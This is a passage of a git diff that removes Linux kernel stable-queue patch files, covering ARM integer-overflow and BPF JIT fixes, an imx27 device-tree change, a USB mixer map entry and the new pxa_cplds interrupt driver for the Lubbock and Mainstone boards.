-Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/usb/mixer_maps.c | 5 +++++ - 1 file changed, 5 insertions(+) - ---- a/sound/usb/mixer_maps.c -+++ b/sound/usb/mixer_maps.c -@@ -380,6 +380,11 @@ static struct usbmix_ctl_map usbmix_ctl_ - .ignore_ctl_error = 1, - }, - { -+ /* MAYA44 USB+ */ -+ .id = USB_ID(0x2573, 0x0008), -+ .map = maya44_map, -+ }, -+ { - /* KEF X300A */ - .id = USB_ID(0x27ac, 0x1000), - .map = scms_usb3318_map, diff --git a/patches/arm-8320-1-fix-integer-overflow-in-elf_et_dyn_base.patch b/patches/arm-8320-1-fix-integer-overflow-in-elf_et_dyn_base.patch deleted file mode 100644 index 461e44f..0000000 --- a/patches/arm-8320-1-fix-integer-overflow-in-elf_et_dyn_base.patch +++ /dev/null @@ -1,45 +0,0 @@ -From 8defb3367fcd19d1af64c07792aade0747b54e0f Mon Sep 17 00:00:00 2001 -From: Andrey Ryabinin <a.ryabinin@samsung.com> -Date: Fri, 20 Mar 2015 15:42:27 +0100 -Subject: ARM: 8320/1: fix integer overflow in ELF_ET_DYN_BASE - -commit 8defb3367fcd19d1af64c07792aade0747b54e0f upstream. - -Usually ELF_ET_DYN_BASE is 2/3 of TASK_SIZE. With 3G/1G user/kernel -split this is not so, because 2*TASK_SIZE overflows 32 bits, -so the actual value of ELF_ET_DYN_BASE is: - (2 * TASK_SIZE / 3) = 0x2a000000 - -When ASLR is disabled PIE binaries will load at ELF_ET_DYN_BASE address. -On 32bit platforms AddressSanitzer uses addresses [0x20000000 - 0x40000000] -for shadow memory [1]. So ASan doesn't work for PIE binaries when ASLR disabled -as it fails to map shadow memory. -Also after Kees's 'split ET_DYN ASLR from mmap ASLR' patchset PIE binaries -has a high chance of loading somewhere in between [0x2a000000 - 0x40000000] -even if ASLR enabled. This makes ASan with PIE absolutely incompatible. - -Fix overflow by dividing TASK_SIZE prior to multiplying. -After this patch ELF_ET_DYN_BASE equals to (for CONFIG_VMSPLIT_3G=y): - (TASK_SIZE / 3 * 2) = 0x7f555554 - -[1] https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerAlgorithm#Mapping - -Signed-off-by: Andrey Ryabinin <a.ryabinin@samsung.com> -Reported-by: Maria Guseva <m.guseva@samsung.com> -Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/arm/include/asm/elf.h | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/arch/arm/include/asm/elf.h -+++ b/arch/arm/include/asm/elf.h -@@ -116,7 +116,7 @@ int dump_task_regs(struct task_struct *t - the loader. We need to make sure that it is out of the way of the program - that it will "exec", and that there is sufficient room for the brk. */ - --#define ELF_ET_DYN_BASE (2 * TASK_SIZE / 3) -+#define ELF_ET_DYN_BASE (TASK_SIZE / 3 * 2) - - /* When the program starts, a1 contains a pointer to a function to be - registered with atexit, as per the SVR4 ABI. A value of 0 means we diff --git a/patches/arm-dts-imx27-only-map-4-kbyte-for-fec-registers.patch b/patches/arm-dts-imx27-only-map-4-kbyte-for-fec-registers.patch deleted file mode 100644 index ef6a6ee..0000000 --- a/patches/arm-dts-imx27-only-map-4-kbyte-for-fec-registers.patch +++ /dev/null @@ -1,35 +0,0 @@ -From a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce Mon Sep 17 00:00:00 2001 -From: Philippe Reynes <tremyfr@gmail.com> -Date: Wed, 13 May 2015 00:18:26 +0200 -Subject: ARM: dts: imx27: only map 4 Kbyte for fec registers -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce upstream. - -According to the imx27 documentation, fec has a 4 Kbyte -memory space map. Moreover, the actual 16 Kbyte mapping -overlaps the SCC (Security Controller) memory register -space. So, we reduce the memory register space to 4 Kbyte. - -Signed-off-by: Philippe Reynes <tremyfr@gmail.com> -Acked-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de> -Fixes: 9f0749e3eb88 ("ARM i.MX27: Add devicetree support") -Signed-off-by: Shawn Guo <shawn.guo@linaro.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/arm/boot/dts/imx27.dtsi | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/arch/arm/boot/dts/imx27.dtsi -+++ b/arch/arm/boot/dts/imx27.dtsi -@@ -208,7 +208,7 @@ - - fec: fec@1002b000 { - compatible = "fsl,imx27-fec"; -- reg = <0x1002b000 0x4000>; -+ reg = <0x1002b000 0x1000>; - interrupts = <50>; - status = "disabled"; - }; diff --git a/patches/arm-net-delegate-filter-to-kernel-interpreter-when-imm_offset-return-value-can-t-fit-into-12bits.patch b/patches/arm-net-delegate-filter-to-kernel-interpreter-when-imm_offset-return-value-can-t-fit-into-12bits.patch deleted file mode 100644 index 1b5cf0a..0000000 --- a/patches/arm-net-delegate-filter-to-kernel-interpreter-when-imm_offset-return-value-can-t-fit-into-12bits.patch +++ /dev/null @@ -1,93 +0,0 @@ -From 0b59d8806a31bb0267b3a461e8fef20c727bdbf6 Mon Sep 17 00:00:00 2001 -From: Nicolas Schichan <nschichan@freebox.fr> -Date: Thu, 7 May 2015 17:14:21 +0200 -Subject: ARM: net: delegate filter to kernel interpreter when imm_offset() - return value can't fit into 12bits. - -commit 0b59d8806a31bb0267b3a461e8fef20c727bdbf6 upstream. - -The ARM JIT code emits "ldr rX, [pc, #offset]" to access the literal -pool. #offset maximum value is 4095 and if the generated code is too -large, the #offset value can overflow and not point to the expected -slot in the literal pool. Additionally, when overflow occurs, bits of -the overflow can end up changing the destination register of the ldr -instruction. - -Fix that by detecting the overflow in imm_offset() and setting a flag -that is checked for each BPF instructions converted in -build_body(). As of now it can only be detected in the second pass. As -a result the second build_body() call can now fail, so add the -corresponding cleanup code in that case. - -Using multiple literal pools in the JITed code is going to require -lots of intrusive changes to the JIT code (which would better be done -as a feature instead of fix), just delegating to the kernel BPF -interpreter in that case is a more straight forward, minimal fix and -easy to backport. - -Fixes: ddecdfcea0ae ("ARM: 7259/3: net: JIT compiler for packet filters") -Signed-off-by: Nicolas Schichan <nschichan@freebox.fr> -Acked-by: Daniel Borkmann <daniel@iogearbox.net> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/arm/net/bpf_jit_32.c | 27 ++++++++++++++++++++++++++- - 1 file changed, 26 insertions(+), 1 deletion(-) - ---- a/arch/arm/net/bpf_jit_32.c -+++ b/arch/arm/net/bpf_jit_32.c -@@ -52,6 +52,7 @@ - #define SEEN_DATA (1 << (BPF_MEMWORDS + 3)) - - #define FLAG_NEED_X_RESET (1 << 0) -+#define FLAG_IMM_OVERFLOW (1 << 1) - - struct jit_ctx { - const struct sk_filter *skf; -@@ -286,6 +287,15 @@ static u16 imm_offset(u32 k, struct jit_ - /* PC in ARM mode == address of the instruction + 8 */ - imm = offset - (8 + ctx->idx * 4); - -+ if (imm & ~0xfff) { -+ /* -+ * literal pool is too far, signal it into flags. we -+ * can only detect it on the second pass unfortunately. -+ */ -+ ctx->flags |= FLAG_IMM_OVERFLOW; -+ return 0; -+ } -+ - return imm; - } - -@@ -817,6 +827,14 @@ b_epilogue: - default: - return -1; - } -+ -+ if (ctx->flags & FLAG_IMM_OVERFLOW) -+ /* -+ * this instruction generated an overflow when -+ * trying to access the literal pool, so -+ * delegate this filter to the kernel interpreter. -+ */ -+ return -1; - } - - /* compute offsets only during the first pass */ -@@ -876,7 +894,14 @@ void bpf_jit_compile(struct sk_filter *f - - ctx.idx = 0; - build_prologue(&ctx); -- build_body(&ctx); -+ if (build_body(&ctx) < 0) { -+#if __LINUX_ARM_ARCH__ < 7 -+ if (ctx.imm_count) -+ kfree(ctx.imms); -+#endif -+ bpf_jit_binary_free(header); -+ goto out; -+ } - build_epilogue(&ctx); - - flush_icache_range((u32)ctx.target, (u32)(ctx.target + ctx.idx)); diff --git a/patches/arm-pxa-lubbock-use-new-pxa_cplds-driver.patch b/patches/arm-pxa-lubbock-use-new-pxa_cplds-driver.patch deleted file mode 100644 index 8150d04..0000000 --- a/patches/arm-pxa-lubbock-use-new-pxa_cplds-driver.patch +++ /dev/null @@ -1,185 +0,0 @@ -From fc9e38c0f4d38bfc68b405cf48365d65f7b6319e Mon Sep 17 00:00:00 2001 -From: Robert Jarzmik <robert.jarzmik@free.fr> -Date: Sun, 14 Dec 2014 23:04:14 +0100 -Subject: ARM: pxa: lubbock: use new pxa_cplds driver - -commit fc9e38c0f4d38bfc68b405cf48365d65f7b6319e upstream. - -As the interrupt handling was transferred to the pxa_cplds driver, -make the switch in lubbock platform code. - -Fixes: 157d2644cb0c ("ARM: pxa: change gpio to platform device") -Signed-off-by: Robert Jarzmik <robert.jarzmik@free.fr> -Acked-by: Arnd Bergmann <arnd@arndb.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/arm/mach-pxa/include/mach/lubbock.h | 7 +- - arch/arm/mach-pxa/lubbock.c | 108 ++++++++----------------------- - 2 files changed, 33 insertions(+), 82 deletions(-) - ---- a/arch/arm/mach-pxa/include/mach/lubbock.h -+++ b/arch/arm/mach-pxa/include/mach/lubbock.h -@@ -35,7 +35,9 @@ - #define LUB_GP __LUB_REG(LUBBOCK_FPGA_PHYS + 0x100) - - /* Board specific IRQs */ --#define LUBBOCK_IRQ(x) (IRQ_BOARD_START + (x)) -+#define LUBBOCK_NR_IRQS IRQ_BOARD_START -+ -+#define LUBBOCK_IRQ(x) (LUBBOCK_NR_IRQS + (x)) - #define LUBBOCK_SD_IRQ LUBBOCK_IRQ(0) - #define LUBBOCK_SA1111_IRQ LUBBOCK_IRQ(1) - #define LUBBOCK_USB_IRQ LUBBOCK_IRQ(2) /* usb connect */ -@@ -45,8 +47,7 @@ - #define LUBBOCK_USB_DISC_IRQ LUBBOCK_IRQ(6) /* usb disconnect */ - #define LUBBOCK_LAST_IRQ LUBBOCK_IRQ(6) - --#define LUBBOCK_SA1111_IRQ_BASE (IRQ_BOARD_START + 16) --#define LUBBOCK_NR_IRQS (IRQ_BOARD_START + 16 + 55) -+#define LUBBOCK_SA1111_IRQ_BASE (LUBBOCK_NR_IRQS + 32) - - #ifndef __ASSEMBLY__ - extern void lubbock_set_misc_wr(unsigned int mask, unsigned int set); ---- a/arch/arm/mach-pxa/lubbock.c -+++ b/arch/arm/mach-pxa/lubbock.c -@@ -12,6 +12,7 @@ - * published by the Free Software Foundation. - */ - #include <linux/gpio.h> -+#include <linux/gpio/machine.h> - #include <linux/module.h> - #include <linux/kernel.h> - #include <linux/init.h> -@@ -120,84 +121,6 @@ void lubbock_set_misc_wr(unsigned int ma - } - EXPORT_SYMBOL(lubbock_set_misc_wr); - --static unsigned long lubbock_irq_enabled; -- --static void lubbock_mask_irq(struct irq_data *d) --{ -- int lubbock_irq = (d->irq - LUBBOCK_IRQ(0)); -- LUB_IRQ_MASK_EN = (lubbock_irq_enabled &= ~(1 << lubbock_irq)); --} -- --static void lubbock_unmask_irq(struct irq_data *d) --{ -- int lubbock_irq = (d->irq - LUBBOCK_IRQ(0)); -- /* the irq can be acknowledged only if deasserted, so it's done here */ -- LUB_IRQ_SET_CLR &= ~(1 << lubbock_irq); -- LUB_IRQ_MASK_EN = (lubbock_irq_enabled |= (1 << lubbock_irq)); --} -- --static struct irq_chip lubbock_irq_chip = { -- .name = "FPGA", -- .irq_ack = lubbock_mask_irq, -- .irq_mask = lubbock_mask_irq, -- .irq_unmask = lubbock_unmask_irq, --}; -- --static void lubbock_irq_handler(unsigned int irq, struct irq_desc *desc) --{ -- unsigned long pending = LUB_IRQ_SET_CLR & lubbock_irq_enabled; -- do { -- /* clear our parent irq */ -- desc->irq_data.chip->irq_ack(&desc->irq_data); -- if (likely(pending)) { -- irq = LUBBOCK_IRQ(0) + __ffs(pending); -- generic_handle_irq(irq); -- } -- pending = LUB_IRQ_SET_CLR & lubbock_irq_enabled; -- } while (pending); --} -- --static void __init lubbock_init_irq(void) --{ -- int irq; -- -- pxa25x_init_irq(); -- -- /* setup extra lubbock irqs */ -- for (irq = LUBBOCK_IRQ(0); irq <= LUBBOCK_LAST_IRQ; irq++) { -- irq_set_chip_and_handler(irq, &lubbock_irq_chip, -- handle_level_irq); -- set_irq_flags(irq, IRQF_VALID | IRQF_PROBE); -- } -- -- irq_set_chained_handler(PXA_GPIO_TO_IRQ(0), lubbock_irq_handler); -- irq_set_irq_type(PXA_GPIO_TO_IRQ(0), IRQ_TYPE_EDGE_FALLING); --} -- --#ifdef CONFIG_PM -- --static void lubbock_irq_resume(void) --{ -- LUB_IRQ_MASK_EN = lubbock_irq_enabled; --} -- --static struct syscore_ops lubbock_irq_syscore_ops = { -- .resume = lubbock_irq_resume, --}; -- --static int __init lubbock_irq_device_init(void) --{ -- if (machine_is_lubbock()) { -- register_syscore_ops(&lubbock_irq_syscore_ops); -- return 0; -- } -- return -ENODEV; --} -- --device_initcall(lubbock_irq_device_init); -- --#endif -- - static int lubbock_udc_is_connected(void) - { - return (LUB_MISC_RD & (1 << 9)) == 0; -@@ -380,11 +303,38 @@ static struct platform_device lubbock_fl - }, - }; - -+static struct resource lubbock_cplds_resources[] = { -+ [0] = { -+ .start = LUBBOCK_FPGA_PHYS + 0xc0, -+ .end = LUBBOCK_FPGA_PHYS + 0xe0 - 1, -+ .flags = IORESOURCE_MEM, -+ }, -+ [1] = { -+ .start = PXA_GPIO_TO_IRQ(0), -+ .end = PXA_GPIO_TO_IRQ(0), -+ .flags = IORESOURCE_IRQ | IORESOURCE_IRQ_LOWEDGE, -+ }, -+ [2] = { -+ .start = LUBBOCK_IRQ(0), -+ .end = LUBBOCK_IRQ(6), -+ .flags = IORESOURCE_IRQ, -+ }, -+}; -+ -+static struct platform_device lubbock_cplds_device = { -+ .name = "pxa_cplds_irqs", -+ .id = -1, -+ .resource = &lubbock_cplds_resources[0], -+ .num_resources = 3, -+}; -+ -+ - static struct platform_device *devices[] __initdata = { - &sa1111_device, - &smc91x_device, - &lubbock_flash_device[0], - &lubbock_flash_device[1], -+ &lubbock_cplds_device, - }; - - static struct pxafb_mode_info sharp_lm8v31_mode = { -@@ -553,7 +503,7 @@ MACHINE_START(LUBBOCK, "Intel DBPXA250 D - /* Maintainer: MontaVista Software Inc. */ - .map_io = lubbock_map_io, - .nr_irqs = LUBBOCK_NR_IRQS, -- .init_irq = lubbock_init_irq, -+ .init_irq = pxa25x_init_irq, - .handle_irq = pxa25x_handle_irq, - .timer = &pxa_timer, - .init_machine = lubbock_init, diff --git a/patches/arm-pxa-mainstone-use-new-pxa_cplds-driver.patch b/patches/arm-pxa-mainstone-use-new-pxa_cplds-driver.patch deleted file mode 100644 index d084b22..0000000 --- a/patches/arm-pxa-mainstone-use-new-pxa_cplds-driver.patch +++ /dev/null @@ -1,189 +0,0 @@ -From 277688639f98a9e34a6f109f9cd6129f92e718c1 Mon Sep 17 00:00:00 2001 -From: Robert Jarzmik <robert.jarzmik@free.fr> -Date: Fri, 24 Apr 2015 23:22:35 +0200 -Subject: ARM: pxa: mainstone: use new pxa_cplds driver - -commit 277688639f98a9e34a6f109f9cd6129f92e718c1 upstream. - -As the interrupt handling was transferred to the pxa_cplds driver, -make the switch in mainstone platform code. - -Fixes: 157d2644cb0c ("ARM: pxa: change gpio to platform device") -Signed-off-by: Robert Jarzmik <robert.jarzmik@free.fr> -Acked-by: Arnd Bergmann <arnd@arndb.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/arm/mach-pxa/include/mach/mainstone.h | 6 - - arch/arm/mach-pxa/mainstone.c | 115 +++++++---------------------- - 2 files changed, 31 insertions(+), 90 deletions(-) - ---- a/arch/arm/mach-pxa/include/mach/mainstone.h -+++ b/arch/arm/mach-pxa/include/mach/mainstone.h -@@ -120,7 +120,9 @@ - #define MST_PCMCIA_PWR_VCC_50 0x4 /* voltage VCC = 5.0V */ - - /* board specific IRQs */ --#define MAINSTONE_IRQ(x) (IRQ_BOARD_START + (x)) -+#define MAINSTONE_NR_IRQS IRQ_BOARD_START -+ -+#define MAINSTONE_IRQ(x) (MAINSTONE_NR_IRQS + (x)) - #define MAINSTONE_MMC_IRQ MAINSTONE_IRQ(0) - #define MAINSTONE_USIM_IRQ MAINSTONE_IRQ(1) - #define MAINSTONE_USBC_IRQ MAINSTONE_IRQ(2) -@@ -136,6 +138,4 @@ - #define MAINSTONE_S1_STSCHG_IRQ MAINSTONE_IRQ(14) - #define MAINSTONE_S1_IRQ MAINSTONE_IRQ(15) - --#define MAINSTONE_NR_IRQS (IRQ_BOARD_START + 16) -- - #endif ---- a/arch/arm/mach-pxa/mainstone.c -+++ b/arch/arm/mach-pxa/mainstone.c -@@ -13,6 +13,7 @@ - * published by the Free Software Foundation. - */ - #include <linux/gpio.h> -+#include <linux/gpio/machine.h> - #include <linux/init.h> - #include <linux/platform_device.h> - #include <linux/syscore_ops.h> -@@ -120,92 +121,6 @@ static unsigned long mainstone_pin_confi - GPIO1_GPIO | WAKEUP_ON_EDGE_BOTH, - }; - --static unsigned long mainstone_irq_enabled; -- --static void mainstone_mask_irq(struct irq_data *d) --{ -- int mainstone_irq = (d->irq - MAINSTONE_IRQ(0)); -- MST_INTMSKENA = (mainstone_irq_enabled &= ~(1 << mainstone_irq)); --} -- --static void mainstone_unmask_irq(struct irq_data *d) --{ -- int mainstone_irq = (d->irq - MAINSTONE_IRQ(0)); -- /* the irq can be acknowledged only if deasserted, so it's done here */ -- MST_INTSETCLR &= ~(1 << mainstone_irq); -- MST_INTMSKENA = (mainstone_irq_enabled |= (1 << mainstone_irq)); --} -- --static struct irq_chip mainstone_irq_chip = { -- .name = "FPGA", -- .irq_ack = mainstone_mask_irq, -- .irq_mask = mainstone_mask_irq, -- .irq_unmask = mainstone_unmask_irq, --}; -- --static void mainstone_irq_handler(unsigned int irq, struct irq_desc *desc) --{ -- unsigned long pending = MST_INTSETCLR & mainstone_irq_enabled; -- do { -- /* clear useless edge notification */ -- desc->irq_data.chip->irq_ack(&desc->irq_data); -- if (likely(pending)) { -- irq = MAINSTONE_IRQ(0) + __ffs(pending); -- generic_handle_irq(irq); -- } -- pending = MST_INTSETCLR & mainstone_irq_enabled; -- } while (pending); --} -- --static void __init mainstone_init_irq(void) --{ -- int irq; -- -- pxa27x_init_irq(); -- -- /* setup extra Mainstone irqs */ -- for(irq = MAINSTONE_IRQ(0); irq <= MAINSTONE_IRQ(15); irq++) { -- irq_set_chip_and_handler(irq, &mainstone_irq_chip, -- handle_level_irq); -- if (irq == MAINSTONE_IRQ(10) || irq == MAINSTONE_IRQ(14)) -- set_irq_flags(irq, IRQF_VALID | IRQF_PROBE | IRQF_NOAUTOEN); -- else -- set_irq_flags(irq, IRQF_VALID | IRQF_PROBE); -- } -- set_irq_flags(MAINSTONE_IRQ(8), 0); -- set_irq_flags(MAINSTONE_IRQ(12), 0); -- -- MST_INTMSKENA = 0; -- MST_INTSETCLR = 0; -- -- irq_set_chained_handler(PXA_GPIO_TO_IRQ(0), mainstone_irq_handler); -- irq_set_irq_type(PXA_GPIO_TO_IRQ(0), IRQ_TYPE_EDGE_FALLING); --} -- --#ifdef CONFIG_PM -- --static void mainstone_irq_resume(void) --{ -- MST_INTMSKENA = mainstone_irq_enabled; --} -- --static struct syscore_ops mainstone_irq_syscore_ops = { -- .resume = mainstone_irq_resume, --}; -- --static int __init mainstone_irq_device_init(void) --{ -- if (machine_is_mainstone()) -- register_syscore_ops(&mainstone_irq_syscore_ops); -- -- return 0; --} -- --device_initcall(mainstone_irq_device_init); -- --#endif -- -- - static struct resource smc91x_resources[] = { - [0] = { - .start = (MST_ETH_PHYS + 0x300), -@@ -483,11 +398,37 @@ static struct platform_device mst_gpio_k - }, - }; - -+static struct resource mst_cplds_resources[] = { -+ [0] = { -+ .start = MST_FPGA_PHYS + 0xc0, -+ .end = MST_FPGA_PHYS + 0xe0 - 1, -+ .flags = IORESOURCE_MEM, -+ }, -+ [1] = { -+ .start = PXA_GPIO_TO_IRQ(0), -+ .end = PXA_GPIO_TO_IRQ(0), -+ .flags = IORESOURCE_IRQ | IORESOURCE_IRQ_LOWEDGE, -+ }, -+ [2] = { -+ .start = MAINSTONE_IRQ(0), -+ .end = MAINSTONE_IRQ(15), -+ .flags = IORESOURCE_IRQ, -+ }, -+}; -+ -+static struct platform_device mst_cplds_device = { -+ .name = "pxa_cplds_irqs", -+ .id = -1, -+ .resource = &mst_cplds_resources[0], -+ .num_resources = 3, -+}; -+ - static struct platform_device *platform_devices[] __initdata = { - &smc91x_device, - &mst_flash_device[0], - &mst_flash_device[1], - &mst_gpio_keys_device, -+ &mst_cplds_device, - }; - - static struct pxaohci_platform_data mainstone_ohci_platform_data = { -@@ -618,7 +559,7 @@ MACHINE_START(MAINSTONE, "Intel HCDDBBVA - .atag_offset = 0x100, /* BLOB boot parameter setting */ - .map_io = mainstone_map_io, - .nr_irqs = MAINSTONE_NR_IRQS, -- .init_irq = mainstone_init_irq, -+ .init_irq = pxa27x_init_irq, - .handle_irq = pxa27x_handle_irq, - .timer = &pxa_timer, - .init_machine = mainstone_init, diff --git a/patches/arm-pxa-pxa_cplds-add-lubbock-and-mainstone-io.patch b/patches/arm-pxa-pxa_cplds-add-lubbock-and-mainstone-io.patch deleted file mode 100644 index f49868d..0000000 --- a/patches/arm-pxa-pxa_cplds-add-lubbock-and-mainstone-io.patch +++ /dev/null @@ -1,272 +0,0 @@ -From aa8d6b73ea33c2167c543663ab66039ec94d58f1 Mon Sep 17 00:00:00 2001 -From: Robert Jarzmik <robert.jarzmik@free.fr> -Date: Fri, 24 Apr 2015 22:22:19 +0200 -Subject: ARM: pxa: pxa_cplds: add lubbock and mainstone IO - -commit aa8d6b73ea33c2167c543663ab66039ec94d58f1 upstream. - -Historically, this support was in arch/arm/mach-pxa/lubbock.c and -arch/arm/mach-pxa/mainstone.c. When gpio-pxa was moved to drivers/pxa, -it became a driver, and its initialization and probing happened at -postcore initcall. The lubbock code used to install the chained lubbock -interrupt handler at init_irq() time. - -The consequence of the gpio-pxa change is that the installed chained irq -handler lubbock_irq_handler() was overwritten in pxa_gpio_probe(_dt)(), -removing : - - the handler - - the falling edge detection setting of GPIO0, which revealed the - interrupt request from the lubbock IO board. - -As a fix, move the gpio0 chained handler setup to a place where we have -the guarantee that pxa_gpio_probe() was called before, so that lubbock -handler becomes the true IRQ chained handler of GPIO0, demuxing the -lubbock IO board interrupts. - -This patch moves all that handling to a mfd driver. It's only purpose -for the time being is the interrupt handling, but in the future it -should encompass all the motherboard CPLDs handling : - - leds - - switches - - hexleds - -The same logic applies to mainstone board. - -Fixes: 157d2644cb0c ("ARM: pxa: change gpio to platform device") -Signed-off-by: Robert Jarzmik <robert.jarzmik@free.fr> -Acked-by: Arnd Bergmann <arnd@arndb.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/arm/mach-pxa/Kconfig | 9 + - arch/arm/mach-pxa/Makefile | 1 - arch/arm/mach-pxa/pxa_cplds_irqs.c | 200 +++++++++++++++++++++++++++++++++++++ - 3 files changed, 210 insertions(+) - create mode 100644 arch/arm/mach-pxa/pxa_cplds_irqs.c - ---- a/arch/arm/mach-pxa/Kconfig -+++ b/arch/arm/mach-pxa/Kconfig -@@ -718,4 +718,13 @@ config PXA_HAVE_ISA_IRQS - config PXA310_ULPI - bool - -+config PXA_SYSTEMS_CPLDS -+ tristate "Motherboard cplds" -+ default ARCH_LUBBOCK || MACH_MAINSTONE -+ help -+ This driver supports the Lubbock and Mainstone multifunction chip -+ found on the pxa25x development platform system (Lubbock) and pxa27x -+ development platform system (Mainstone). This IO board supports the -+ interrupts handling, ethernet controller, flash chips, etc ... -+ - endif ---- a/arch/arm/mach-pxa/Makefile -+++ b/arch/arm/mach-pxa/Makefile -@@ -103,4 +103,5 @@ led-$(CONFIG_ARCH_PXA_IDP) += leds-idp.o - - obj-$(CONFIG_LEDS) += $(led-y) - -+obj-$(CONFIG_PXA_SYSTEMS_CPLDS) += pxa_cplds_irqs.o - obj-$(CONFIG_TOSA_BT) += tosa-bt.o ---- /dev/null -+++ b/arch/arm/mach-pxa/pxa_cplds_irqs.c -@@ -0,0 +1,200 @@ -+/* -+ * Intel Reference Systems cplds -+ * -+ * Copyright (C) 2014 Robert Jarzmik -+ * -+ * This program is free software; you can redistribute it and/or modify -+ * it under the terms of the GNU General Public License as published by -+ * the Free Software Foundation; either version 2 of the License, or -+ * (at your option) any later version. -+ * -+ * Cplds motherboard driver, supporting lubbock and mainstone SoC board. -+ */ -+ -+#include <linux/bitops.h> -+#include <linux/gpio.h> -+#include <linux/gpio/consumer.h> -+#include <linux/interrupt.h> -+#include <linux/io.h> -+#include <linux/irq.h> -+#include <linux/irqdomain.h> -+#include <linux/mfd/core.h> -+#include <linux/module.h> -+#include <linux/of_platform.h> -+ -+#define FPGA_IRQ_MASK_EN 0x0 -+#define FPGA_IRQ_SET_CLR 0x10 -+ -+#define CPLDS_NB_IRQ 32 -+ -+struct cplds { -+ void __iomem *base; -+ int irq; -+ unsigned int irq_mask; -+ struct gpio_desc *gpio0; -+ struct irq_domain *irqdomain; -+}; -+ -+static irqreturn_t cplds_irq_handler(int in_irq, void *d) -+{ -+ struct cplds *fpga = d; -+ unsigned long pending; -+ unsigned int bit; -+ -+ pending = readl(fpga->base + FPGA_IRQ_SET_CLR) & fpga->irq_mask; -+ for_each_set_bit(bit, &pending, CPLDS_NB_IRQ) -+ generic_handle_irq(irq_find_mapping(fpga->irqdomain, bit)); -+ -+ return IRQ_HANDLED; -+} -+ -+static void cplds_irq_mask_ack(struct irq_data *d) -+{ -+ struct cplds *fpga = irq_data_get_irq_chip_data(d); -+ unsigned int cplds_irq = irqd_to_hwirq(d); -+ unsigned int set, bit = BIT(cplds_irq); -+ -+ fpga->irq_mask &= ~bit; -+ writel(fpga->irq_mask, fpga->base + FPGA_IRQ_MASK_EN); -+ set = readl(fpga->base + FPGA_IRQ_SET_CLR); -+ writel(set & ~bit, fpga->base + FPGA_IRQ_SET_CLR); -+} -+ -+static void cplds_irq_unmask(struct irq_data *d) -+{ -+ struct cplds *fpga = irq_data_get_irq_chip_data(d); -+ unsigned int cplds_irq = irqd_to_hwirq(d); -+ unsigned int bit = BIT(cplds_irq); -+ -+ fpga->irq_mask |= bit; -+ writel(fpga->irq_mask, fpga->base + FPGA_IRQ_MASK_EN); -+} -+ -+static struct irq_chip cplds_irq_chip = { -+ .name = "pxa_cplds", -+ .irq_mask_ack = cplds_irq_mask_ack, -+ .irq_unmask = cplds_irq_unmask, -+ .flags = IRQCHIP_MASK_ON_SUSPEND | IRQCHIP_SKIP_SET_WAKE, -+}; -+ -+static int cplds_irq_domain_map(struct irq_domain *d, unsigned int irq, -+ irq_hw_number_t hwirq) -+{ -+ struct cplds *fpga = d->host_data; -+ -+ irq_set_chip_and_handler(irq, &cplds_irq_chip, handle_level_irq); -+ irq_set_chip_data(irq, fpga); -+ -+ return 0; -+} -+ -+static const struct irq_domain_ops cplds_irq_domain_ops = { -+ .xlate = irq_domain_xlate_twocell, -+ .map = cplds_irq_domain_map, -+}; -+ -+static int cplds_resume(struct platform_device *pdev) -+{ -+ struct cplds *fpga = platform_get_drvdata(pdev); -+ -+ writel(fpga->irq_mask, fpga->base + FPGA_IRQ_MASK_EN); -+ -+ return 0; -+} -+ -+static int cplds_probe(struct platform_device *pdev) -+{ -+ struct resource *res; -+ struct cplds *fpga; -+ int ret; -+ unsigned int base_irq = 0; -+ unsigned long irqflags = 0; -+ -+ fpga = devm_kzalloc(&pdev->dev, sizeof(*fpga), GFP_KERNEL); -+ if (!fpga) -+ return -ENOMEM; -+ -+ res = platform_get_resource(pdev, IORESOURCE_IRQ, 0); -+ if (res) { -+ fpga->irq = (unsigned int)res->start; -+ irqflags = res->flags; -+ } -+ if (!fpga->irq) -+ return -ENODEV; -+ -+ base_irq = platform_get_irq(pdev, 1); -+ if (base_irq < 0) -+ base_irq = 0; -+ -+ res = platform_get_resource(pdev, IORESOURCE_MEM, 0); -+ fpga->base = devm_ioremap_resource(&pdev->dev, res); -+ if (IS_ERR(fpga->base)) -+ return PTR_ERR(fpga->base); -+ -+ platform_set_drvdata(pdev, fpga); -+ -+ writel(fpga->irq_mask, fpga->base + FPGA_IRQ_MASK_EN); -+ writel(0, fpga->base + FPGA_IRQ_SET_CLR); -+ -+ ret = devm_request_irq(&pdev->dev, fpga->irq, cplds_irq_handler, -+ irqflags, dev_name(&pdev->dev), fpga); -+ if (ret == -ENOSYS) -+ return -EPROBE_DEFER; -+ -+ if (ret) { -+ dev_err(&pdev->dev, "couldn't request main irq%d: %d\n", -+ fpga->irq, ret); -+ return ret; -+ } -+ -+ irq_set_irq_wake(fpga->irq, 1); -+ fpga->irqdomain = irq_domain_add_linear(pdev->dev.of_node, -+ CPLDS_NB_IRQ, -+ &cplds_irq_domain_ops, fpga); -+ if (!fpga->irqdomain) -+ return -ENODEV; -+ -+ if (base_irq) { -+ ret = irq_create_strict_mappings(fpga->irqdomain, base_irq, 0, -+ CPLDS_NB_IRQ); -+ if (ret) { -+ dev_err(&pdev->dev, "couldn't create the irq mapping %d..%d\n", -+ base_irq, base_irq + CPLDS_NB_IRQ); -+ return ret; -+ } -+ } -+ -+ return 0; -+} -+ -+static int cplds_remove(struct platform_device *pdev) -+{ -+ struct cplds *fpga = platform_get_drvdata(pdev); -+ -+ irq_set_chip_and_handler(fpga->irq, NULL, NULL); -+ -+ return 0; -+} -+ -+static const struct of_device_id cplds_id_table[] = { -+ { .compatible = 